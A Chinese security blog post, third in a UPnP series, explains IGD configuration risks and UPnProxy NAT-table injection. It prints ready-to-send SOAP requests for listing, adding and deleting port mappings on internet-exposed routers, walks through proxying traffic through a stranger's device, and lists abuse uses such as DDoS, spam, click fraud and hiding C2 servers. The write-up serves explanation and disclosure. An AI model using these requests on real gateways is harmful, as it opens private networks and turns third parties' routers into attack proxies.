MENU

UPnP安全(三):IGD Profile安全与UPnProxy

January 10, 2019 • 安全技术

本篇是UPnP安全系列的第三篇,主要对UPnP安全相关的问题进行总结并尝试复现,同时梳理和归纳历史上一些设备UPnP出现的漏洞。

在开始阅读本篇之前,如果不熟悉UPnP的相关观念与工作流程,强烈建议阅读本系列前两篇文章:

1. UPnP IGD 配置安全

相关的知识在这里有一个不错的总结:UPnP IGD hacking

1.1 UPnP IGD(Internet Gateway Device)profile

在很多网关(IGD)设备上都具备UPnP的服务,甚至有的设备是默认开启UPnP的,那么其中有一些UPnP的配置就会产生相关的安全问题。

其中两个最主要的配置是:

  • LANHostConfigManagement
  • WANIPConnection/WANPPPConnection

LANHostConfigManagement:主要用于查询、配置一些网络相关的设置,如DNS, DHCP等。
WANIPConnection/WANPPPConnection:主要用于配置防火墙、NAT表等。

另外需要注意的是,上述两个服务在具体的设备中名称可能有所变化,但是提供的功能是基本相同的。

1.2 LANHostConfigManagement配置 安全问题

该配置主要允许用户设置与查询本地的网络设置,其中一些功能可能会影响安全,如:

  • SetDNSServer
  • DeleteDNSServer
  • SetIPRouter
  • DeleteIPRouter

利用这些功能修改设备配置后会产生严重的安全问题。但有一点需要注意的是,现实场景中很多的设备虽然按照标准提供了上述功能,但是实际发包进行修改时会出现各种问题导致修改失败。

1.3 WANIPConnection/WANPPPConnection配置 安全问题

在现实场景中一大批的UPnP设备提供了WANIPConnection/WANPPPConnection服务,主要是方便快速的对NAT、IPtables进行配置,这也是UPnP出现的初衷(可以参考这里UPnP 意义

为了实现上述操作,UPnP就需要提供如下两个操作:

  • AddPortMapping
  • DeletePortMapping

顾名思义,这两个操作就是用于增删端口转发的,这两个功能通过发送SOAP数据包而实现。(SOAP的格式可以回顾这里:UPnP工作流程-控制(Control)

AddPortMapping
这个功能就是用于添加端口转发的,有下面几个参数:

  • NewRemoteHost:用于限制仅一个外部主机的端口映射,但实际上从未使用过。
  • NewExternalPort:在WAN上开放的端口,不能为空
  • NewProtocol: TCPUDP 二选一
  • NewInternalPort:在LAN中的端口,NewExternalPort中的数据全部转向这里
  • NewInternalClient:在LAN中的机器IP,NewExternalPort中的数据全部转向这里
  • NewEnabled:端口转发是否开启,True
  • NewPortMappingDescription:可读的字符串,是对该转发的描述信息
  • NewLeaseDuration:转发持续的时间,0代表永久

DeletePortMapping
用于删除转发,有下面几个参数:

  • NewRemoteHost
  • NewExternalPort
  • NewProtocol

1.4 实践

那么为了完成上述操作的演示需要找到提供了WANIPConnection/WANPPPConnectionLANHostConfigManagement功能的IGD设备,这里就可以借助各类网络空间搜索引擎进行查找,例如使用shodan检索关键词:rootDesc.xml

shodan.jpg

可以看到会发现大量UPnP设备的Description XML,通过配合自己编写的脚本就可以发现大量具备上述两个功能的设备。

我们用一个找到的设备举例:

desc-xml.jpg

在这个设备中有两个服务:

  • urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1
  • urn:schemas-upnp-org:service:WANIPConnection:1

刚好与我们前面提到的两个配置一致。

WANCommonInterfaceConfig配置 安全问题

访问WANCommonInterfaceConfig的SCPD URL查看具备的功能:

SPCD-WANCfg.jpg

构造SOAP数据包:

POST /ctl/CmnIfCfg HTTP/1.1
Host: x:1900
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Connection: close
Content-Type: text/xml; charset=utf-8
SOAPACTION: urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1
Content-Length: 333

<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
    <s:Body>
        <u:GetCommonLinkProperties xmlns:u="urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1#GetCommonLinkProperties">
        </u:GetCommonLinkProperties>
    </s:Body>
</s:Envelope>

config.jpg

这里可以看出并没有我们想要的相关信息,如DNS、DHCP等,这个主要和具体设备的实现有关。

NAT表项注入攻击
访问WANCommonInterfaceConfig的SCPD URL查看具备的功能:

SPCD-WANIPCn.jpg

在注入NAT表项之前,我们先查看现有的表项:

POST /ctl/IPConn HTTP/1.1
Host: x:1900
User-Agent: Debian/buster/sid, UPnP/1.1, MiniUPnPc/2.1
Content-Length: 341
Content-Type: text/xml
SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1#GetGenericPortMappingEntry"
Connection: Close
Cache-Control: no-cache
Pragma: no-cache

<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
    <s:Body>
    <u:GetGenericPortMappingEntry xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
            <NewPortMappingIndex>0</NewPortMappingIndex>
    </u:GetGenericPortMappingEntry>
    </s:Body>
</s:Envelope>

GetGenericPortMappingEntry.jpg

通过遍历NewPortMappingIndex参数即可获取整个NAT表项。可以自己写脚本,也可以使用这个工具:upnpc

upnpc.jpg

接下来我们尝试将该IGD设备的80端口映射到外网的45678端口上:

POST /ctl/IPConn HTTP/1.1
Host: x:1900
User-Agent: Debian/buster/sid, UPnP/1.1, MiniUPnPc/2.1
Content-Length: 633
Content-Type: text/xml
SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
Connection: Close
Cache-Control: no-cache
Pragma: no-cache

<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
  <s:Body>
    <u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping">
      <NewExternalPort>45678</NewExternalPort>
      <NewInternalClient>192.168.1.5</NewInternalClient>
      <NewInternalPort>80</NewInternalPort>
      <NewProtocol>TCP</NewProtocol>
      <NewPortMappingDescription>upnp_test</NewPortMappingDescription>
      <NewLeaseDuration>1000</NewLeaseDuration>
      <NewEnabled>1</NewEnabled>
      </u:AddPortMapping>
</s:Body>
</s:Envelope>

AddPortMapping.jpg

那么如果该设备如果是在本地80端口有Web服务即可直接在外网访问(遗憾的是这个设备没有在本地80开Web服务,只好用另一个设备的图当作替代的效果):

AddPortMapping-result.jpg

可以看出,通过这样的方式相当于打开了内网的大门。甚至我们可以利用UPnP的AddPortMapping这个功能来做一个内网端口扫描器。

删除该端口映射:

POST /ctl/IPConn HTTP/1.1
Host: x:1900
User-Agent: Debian/buster/sid, UPnP/1.1, MiniUPnPc/2.1
Content-Length: 425
Content-Type: text/xml
SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping"
Connection: Close
Cache-Control: no-cache
Pragma: no-cache

<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
  <s:Body>
    <u:DeletePortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping">
      <NewExternalPort>45678</NewExternalPort>
      <NewInternalPort>23</NewInternalPort>
      <NewProtocol>TCP</NewProtocol>
      </u:DeletePortMapping>
</s:Body>
</s:Envelope>

DeletePortMapping.jpg

归纳一下,NAT表项注入的整体流程如下:

NAT-injection.jpg

从Nmap上看效果就是这样:

Nmap.jpg

这两个图片均出自:UPnProxy: Blackhat Proxies via NAT Injections

1.5 小结

通过利用UPnP的上述两个服务,可能造成的安全隐患:

  1. 获取网关的敏感信息
  2. 修改网关的网络配置,造成DNS、断网等
  3. 通过增删NAT表项,造成特定服务断网、内网引入攻击流量等
  4. 通过利用NAT表项注入,形成UPnP proxy提供隐蔽流量通道,形成僵尸网络为DDoS服务

在2018年11月28日,Akamai就披露了一起大规模的利用NAT表项注入将内网139、445等samba端口映射到公网然后利用EternalBlue等漏洞攻击内网的事件:UPnProxy: EternalSilence

2. UPnP Proxy

2.1 原理

UPnP proxy其实就是利用UPnP NAT表项注入的技术,将内部地址替换成外部的公网地址从而达到网络代理的效果。其实在2017年10月16日Akamai发布的UPnP Proxy白皮书中就介绍的很清楚了:

upnp-proxy.jpg

关键就是在黑色的框中,向NAT表中注入一个外部公网地址和端口。

2.2 实践

首先我在自己的阿里云上开一个Web服务:

aliyun-web.jpg

就是一个很简单的页面,用于测试是否转发成功。

UPnP Proxy 实验

找到一个具备WANIPConnection服务的UPnP设备,利用AddPortMapping功能注入一个NAT表项:

upnp-proxy-practice-1.jpg

重点是将NewInternalClientNewInternalPort参数设置为我阿里云上Web服务的IP和端口。

然后我们去访问该设备的45678端口:

upnp-proxy-practice-2.jpg

可以看出成的转发了整个HTTP请求与响应。那么再去看看Web日志:

upnp-proxy-practice-3.jpg

可以看出完全隐藏了我自己的真实IP。

UPnP Proxy Chain实验

我们再找一个具备同样功能的设备B,注入NAT表项,但是这次的IP和端口应该是前一个UPnP设备WAN的IP和端口即可。

另外要注意的是两个UPnP设备之间要能够相互访问。

2.3 数量统计

在Akamai的UPnP Proxy白皮书中有提到他们检测到的具体数据(源自Akamai2017年10月16日的报告):

  • 480W的主机可以被SSDP发现
  • 76.5W(总数的16%)的UPnP暴露了他们UPnP服务

    • 这其中又有超过6.5W的设备存在NAT表项注入(至少存在一个指向外部地址)

      • 这其中共计17,599个独立的公网IP
  • 向外部转发的TCP端口排名前三位是:53,80,44

2.4 小结

这里结合Akamai发布的UPnP Proxy白皮书,总结一些UPnP Proxy利用方法和拓展。

1. 隐藏身份,躲避流量审查

通过构建多跳的Proxy能够躲过各种流量的审查。(这个大家都懂)

2. 垃圾、钓鱼邮件

发现一些垃圾邮件也是通过这些代理发送出来的。有的转发的终点是一些邮件服务器的25端口。

3. 流量代理公司的点击欺诈

发现其中一些转发终点IP是广告的地址。那么推测这些广告就是一些黑帽小公司注册的广告地址,然后利用Proxy去访问,
这样就能实现多人访问的效果(毕竟源IP都是这些UPnP设备的),从而骗取广告点击收入。

4. DDoS

可以利用这些设备来更好地分发和混淆基于TCP和UDP的DDoS攻击。

由于UDP可以指向任何端口和IP,因此在UDP反射放大攻击中利用UPnP Proxy。此技术可用于代理memcached、DNS、CLDAP等常用在UDP DDoS中的协议。利用UPnP Proxy可以将少数的攻击节点伪装为成千上万不同IP的节点。

5. 僵尸网络

可以利用该Proxy进行对如HTTP、SSH、Telnet等服务进行暴力破解。

6. 恶意软件发布和通信

通过串联这些具备NAT转发的设备,能够很好的隐藏原始的IP与发送的内容。

Symantec披露的报告中就披露了一个名为“Inception Framework”的APT组织使用到该技术隐藏自己。该组织使用C2服务器时就利用多级串联的UPnP设备隐藏自己真实的IP地址:

upnp-proxy-chains.jpg

具体详情可以查看Symantec披露的报告:Inception Framework: Alive and Well, and Hiding Behind Proxies

后续

在下一篇中将介绍UPnP DDoS和部分设备曾出现过的UPnP漏洞。

参考链接

Tags: UPnP
Archives QR Code
QR Code for this page
Tipping QR Code